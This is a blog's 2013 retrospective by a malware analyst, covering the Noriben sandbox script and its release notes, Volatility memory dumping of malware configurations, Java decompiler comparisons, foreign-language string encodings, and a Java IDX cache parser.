A GhettoForensics Look Back on 2013

This site, Ghetto Forensics, was started this year as the beginning of an effort to better document some of the side work that I do that I thought would be appealing, or humorous, to the overall industry. This content was originally posted to my personal web site, thebaskins.com, but really needed a site of its own.

My first public project this year was reversing, documenting, and writing a parser for Java IDX files, cached files that accompany any file downloaded via Java. It was a bit of a painful project, mainly due to the bad documentation provided by Oracle, not to mention the horrendous style in which they designed it. I immediately released the code to the public and have received great feedback for improvements, as well as quite a few examiners touting how much they used it in their examinations. Thank you!

However, my greatest project this year was the release of Noriben. I first designed Noriben as a simple script for me to use at home for really quick malware dynamic analysis. I lacked many of the tools and sandboxes that I use at my day job, and needed a quick triage tool for research. After a few months, I realized that many commercial groups were in the exact same situation as I was at home: a severe lack of funding to purchase software to help. So, I cleaned up the code, gave it a silly name, and released it into the world. I've received numerous feedback and suggestions from all over, all of which were incorporated into the code. While its usage is widely unknown, for practical reasons, I did learn of quite a few Defense organizations, as well as a handful of Fortune organizations that incorporated it into their workflow. Awesome!

Research-wise, I released a comparison of various Java disassembly and decompilation tools, having found the standard JD-GUI to be extremely lacking for modern Java malware. The positive side of this is introducing tools to security professionals that were previously unknown to them. The research itself changed the tools that I use on a regular basis and allowed me to create a better product, faster, for reversing Java applications.

For community projects, I wrote a small malware configuration dumper template for Volatility, based on some time-reducing work I've been practicing. Whenever I do a full reversal of malware, I now try to write a memory configuration dumper. That way, in a few months when they change the encryption routine, I can still retrieve the same configuration and getting the report out instantly, then go back and figure out the encryption.

Dumping Malware Configuration Data from Memory with Volatility

When I first start delving in memory forensics, years ago, we relied upon controlled operating system crashes (to create memory crash dumps) or the old FireWire exploit with a special laptop. Later, software-based tools like regular dd, and win32dd, made the job much easier (and more entertaining as we watched the feuds between mdd and win32dd).

In the early days, our analysis was basically performed with a hex editor. By collecting volatile data from an infected system, we'd attempt to map memory locations manually to known processes, an extremely frustrating and error-prone procedure. Even with the advent of graphical tools such as HBGary Responder Pro, which comes with a hefty price tag, I've found most of my time spent viewing raw memory dumps in WinHex.

The industry has slowly changed as tools like Volatility have gained maturity and become more feature-rich. Volatility is a free and open-source memory analysis tool that takes the hard work out of mapping and correlating raw data to actual processes. At first I shunned Volatility for it's sheer amount of command line memorization, where each query required memorizing a specialized command line. Over the years, I've come to appreciate this aspect and the flexibility it provides to an examiner.

It's with Volatility that I focus the content for this blog post, to dump malware configurations from memory.

For those unfamiliar with the concept, it's rare to find static malware. That is, malware that has a plain-text URL in its .rdata section mixed in with other strings, and other data laid bare in plain sight. Modern malware tends to be more dynamic, allowing for configurations to be downloaded upon infection, or be strategically injected into the executable by its author. Crimeware malware (Carberp, Zeus) tend to favor the former, connecting to a hardcoded IP address or domain to download a detailed configuration profile (often in XML) that is used to determine how the malware is to operate. What domains does it beacon to, on which ports, and with what campaign IDs - these are the items we determine from malware configurations.

Other malware rely upon a known block of configuration data within the executable, sometimes found within .rdata or simply in the overlay (the data after the end of the actual executable). Sometimes this data is in plain text, often it's encoded or encrypted. A notable example of this is in Mandiant's APT1 report on TARSIP-MOON, where a block of encrypted data is stored in the overlay. The point of this implementation is that an author can compile their malware, and then add in the appropriate configuration data after the fact.

As a method to improving the timeliness of malware analysis, I've been advocating for greater research and implementation of configuration dumpers. By identifying where data is stored within the file, and by knowing its encryption routine, one could simply write a script to extract the data, decrypt it, and print it out. Without even running the malware we know its intended C2 communications and have immediate signatures that we can then implement into our network defenses.

While this data may appear as a simple structure in plaintext in a sample, often it's encoded or encrypted via a myriad of techniques. Often this may be a form of encryption that we, or our team, deemed as too difficult to decrypt in a reasonable time. This is pretty common, advanced encryption or compression can often take weeks to completely unravel and is often left for when there's downtime in operations.

What do we do, then? Easy, go for the memory.

We know that the malware has a decryption routine that intakes this data and produces decrypted output. By simply running the malware and analyzing its memory footprint, we will often find the decrypted results in plaintext, as it has already been decrypted and in use by the malware.

Why break the encryption when we can let the malware just decrypt it for us?

Noriben version 1.4 released

It's been a few months since the last official release of Noriben. The interim time has been filled with a few ninja-edits of updated filters, and wondering what to put in next.

Noriben started out as a simple wrapper to Sysinternals procmon to automatically gather all of the runtime details for malware analysis within a VM. It then filters out all the unnecessary system details until what's left is a fairly concise view of what the malware did to the system while running. It is a great alternative to a dedicated sandbox environment. More details on Noriben can be found here.

Over the months I was ecstatic to hear of organizations using Noriben in various roles. Many had modified the script to use it as an automated sandbox to run alongside their commercial products, which was exactly one of my goals for the script. However, the current requirement of manual interaction was an issue and I saw many ugly hacks of how people bypassed it. The new version should take care of that issue.

This was originally a release for version 1.3, which I pushed up on Friday. However, I received quite a bit of feedback for other new features and so quickly I pushed up version 1.4.

In the new version 1.4, I've introduced a few new features:

• A non-interactive mode that runs for a specified number of seconds on malware that is specified from the command line
• The ability to generalize strings, using Windows environment variables
• The ability to specify an output directory

Non-Interactive Mode
The non-interactive mode was needed for a long time, and I apologize it took some time to implement it, as it was a very easy addition. It can be set in one of two ways:
The beginning of the source has a new line:

timeout_seconds = 0

By setting this to a value other than zero, Noriben will automatically wait that number of seconds to monitor the file system. This can be hardcoded for automated implementations, such as in a sandbox environment.

This value can also be overridden with a command line option of --timeout (-t). When using this argument, Noriben will enable the timeout mode and use the specified number of seconds. This is useful if you have a particularly long runtime sample. Even if Noriben.py was modified to have a 120-second timeout, you can override this on the command line with a much greater value (3600 seconds, for example).

Noriben now also lets you note the malware from the command line, making it completely non-interactive:

Noriben.py --cmd "C:\malware\bad.exe www.badhost.com 80" --timeout 300

This command line will launch bad.exe, with a given command line, for a period of 5 minutes. At such time, Noriben will stop monitoring the malware, but it will continue to run.

Output Directory
An alternate output directory can be specified on the command line with --output. If this folder does not exist, it will be created. If Noriben is unable to create the directory, such as when it doesn't have access (e.g. C:\Windows\System32\), then it will give an error and quit.


String Generalization
One requested feature was to replace the file system paths with the Windows environment variables, to make them generic. Many people copy and paste their Noriben results which may show system-specific values, such as "C:\Documents and Settings\Bob\malware.exe". This string will be generalized to "%UserProfile%\malware.exe".

This feature is turned off by default, but can be enabled by changing a setting in the file:

generalize_paths = False

Or by setting --generalize on the command line.


All in all, these features could be summed up with:

Noriben.py --output C:\Logs\Malware --timeout 300 --generalize --cmd "C:\Malware\evil.exe"

Malware Analysis: The State of Java Reversing Tools

In the world of incident response and malware analysis, Java has always been a known constant. While many malware analysts are monitoring more complex malware applications in various languages, Java is still the language of love for drive-by attacks on common end-users. It is usually with certainty that any home user infection with malware such as Zeus, Citadel, Carberp, or ZeroAccess originated through a Java vulnerability and exploit. In typical crimeware (banking/financial theft malware) incidents, one group specializes on the backend malware (e.g. Zeus) while outsourcing the infection and entrenchment to a second group that creates exploit software like BlackHole, Neosploit, and Fiesta.

In many incident responses, I've seen analysts gloss over the Java infection vector as just an end-note. Once they see the final-stage malware on the system they write off the Java component as just a downloader without any real analysis. This creates issues for the times when the Java exploit only partially succeeds resulting in malicious Java JAR files on a system but no Trojan or malware.

Why did it fail? Was the system properly patched to prevent a full infection? Was there a permission setting that stopped the downloader in its tracks? These are the questions that typically force an analyst to begin analyzing Java malware.

I've discussed Java quite a bit on this blog in the past. My Java IDX cache file parser was made for the purpose of identifying files downloaded via Java, be them Windows executables or additional Java JAR files. In that same post I analyzed Java from a Fiesta exploit kit that installed a ZeroAccess trojan onto an analyzed system.

Though Java is not my forte, I've had to face it enough to find that there are many weaknesses and gaps in the tools used for analysis. What I found is that most analysts have been using the same, outdated tools in every case. If the tool fails, they just move on and don't finish their analysis. All the while, new applications are being released that are worthy of note. I felt it worthy to do an annual check-up of the state of analysis tools to display what is available and what weaknesses each holds. There have been similar efforts by others in the past, with the most recent I've found being one in 2010 on CoffeeBreaks, by Jerome.

Mojibaked Malware: Reading Strings Like Tarot Cards

One notable side effect to working in intrusions and malware analysis is the common and frustrating exposure to text in a foreign language. While many would argue the world was much better when text fit within a one-byte space, dwindling RAM and hard drive costs allowed us the extravagant expense of using TWO bytes to represent each character. The world has yet to recover from the shock of this great invention and modern programmers cry themselves to sleep while fighting with Unicode strings.

For a malware analyst, this typically comes about while analyzing code that's beyond the standard trojan, which typically contains no output. Analyzing C2 clients (servers in other contexts) and decoy documents require being able to identify the correct code page for strings so that they appear correctly, can be attributed to a language, and can then be translated.

ASCII is the range of bytes from 0-255, which occupy one byte of storage. UTF-8 extends upon this by using single-byte where possible, but also allowing variable-length bytes that are mathematically calculated to determine the correct byte to use. If you see a string of text that looks like ASCII, but then randomly contains unknown characters, it is likely UTF-8, such as:

C:\users\brian\樿鱼\malware.pdb

Code pages, UTF-16, and even UTF-32, provide additional challenges by providing little context to the data involved. However, I hope that by this point in 2013 we don't need to continually harp on what Unicode is...

For most analysts, their exposure to Unicode is being confronted with unknown text, and then trying to figure out how to get it back into its original language. This text, when illegible, is known as mojibake, a Japanese term for "writing that changes". The data is correct, and it does mean something to someone, but the wrong encoding is being applied. This results in text that looks, well... wrong.

Most analysts have gotten into the habit of searching for unknown characters then guessing which code page or encoding to apply until they produce something that looks legible. This does eventually work, but is a clumsy science. We all have our favorites to try: GB2312, Big5, Cyrillic, 8859-2, etc. But, let's just keep this short and sweet and show you a tool that your peers likely already know about but forgot to show you.

How To: Static analysis of encoded PHP scripts

This week, Steve Ragan of CSO Online posted an article on a PHP-based botnet named by Arbor Networks as Fort Disco. As part of his analysis, Ragan posted an oddly obfuscated PHP script for others to tinker with, shown below:

As a fan of obfuscation, this clearly piqued my interest. The initial question was what was contained within all of the Base64 sections, but let's examine this holistically.  At a high level view, there are three distinct sections to this code block, with the beginning of each underlined in the code above. Each can also be identified as beginning with "<?".

Noriben Version 1.2 released

In a mad rush of programming while on a plane to BSidesNOLA, and during the conference, I completed a large number of updates, requests, and demands for Noriben.

As a basic malware analysis sandbox, Noriben was already doing a great job in helping people analyze malware more quickly and efficiently. However, it had its bugs that hurt a few outlier cases. Using submitted feedback (through email, twitter, oral, and death threats) I believe that the major issues have been fixed and that the most-needed features have been added.

New Improvements:

• Timeline support -- Noriben now automatically generates a "_timeline.csv" report that notes all activity in chronological order, with fields for local time and a grouping category. Feedback is welcome for ways to improve this output. For example:

• Tracks registry deletion attempts -- Older versions only tracked successful deletions to the registry, assuming that the keys and values existed. Now, it logs even when the keys don't exist. This opened up a large amount of data that was previously filtered out, such as ZeroAccess removing the services for Windows Defender and Microsoft Update (which weren't running on my analysis VM).
• Large CSV support -- The old versions of Noriben read the entire procmon CSV into memory and then parsed them for results. This created numerous Out of Memory issues with very large sample files. The new version fixes this by only reading in the data one line at a time.
• Parse Procmon PMLs -- PML files are the binary database used to store the native events during capture. These are converted to CSVs during runtime, but a number of users have years worth of saved PMLs for previous malware samples. Now, Noriben can just parse an existing PML without having to re-run the malware.
• Alternate Filter files -- Previous versions of Noriben required that you use one filter file, ProcmonConfiguration.PMC, to store your filters. This created issues for users who maintained multiple filters. A new command line option has been added to specify a filter file. This can be used in conjunction with the "-p" PML parsing option to rescan an existing PML with new filters.
• Global Blacklists -- There was a need for a global blacklist, where items contained in it (namely executables) would be blocked from all blacklists. That allows for a blacklisted item that doesn't have to be manually added to each and every list. 
• Error Logging -- In a few unusual cases, Noriben fails to parse an event item from the CSV. While Noriben contains proper error handling to catch these issues, it just drops them and moves on. As these events may contain important items, they are now stored in raw at the end of the Noriben text report for manual analysis. If something looks amiss, and they are extremely important items, the list can be emailed to me for analysis and better handling in future versions.
• Compartmentalized sections -- This is mostly a back-end, minor feature, All events are now grouped into separate lists for Process, File, Registry, and Network. 

General fixes:

• Changed "open file" command for Mac OS X to 'open'. OS X is tagged as 'posix'. This allows for Noriben to parse files from a Mac interface, but this is not recommended. Parsing files on a system other than the infected means that system environment variables, such as %UserProfile%, will not be identified correctly.

Noriben has changed its command line arguments, dropped the '-r' (rescan CSV) and introduced more specific arguments per each file type, '-c' (CSV), '-p' (PML), and '-f' (filter):

--===[ Noriben v1.2 ]===--

--===[   @bbaskin   ]===--

usage: Noriben.py [-h] [-c CSV] [-p PML] [-f FILTER] [-d]

optional arguments:

  -h, --help                   show this help message and exit

  -c CSV, --csv CSV            Re-analyze an existing Noriben CSV file [input file]

  -p PML, --pml PML            Re-analyze an existing Noriben PML file [input file]

  -f FILTER, --filter FILTER   Alternate Procmon Filter PMC [input file]

  -d                           Enable debug tracebacks
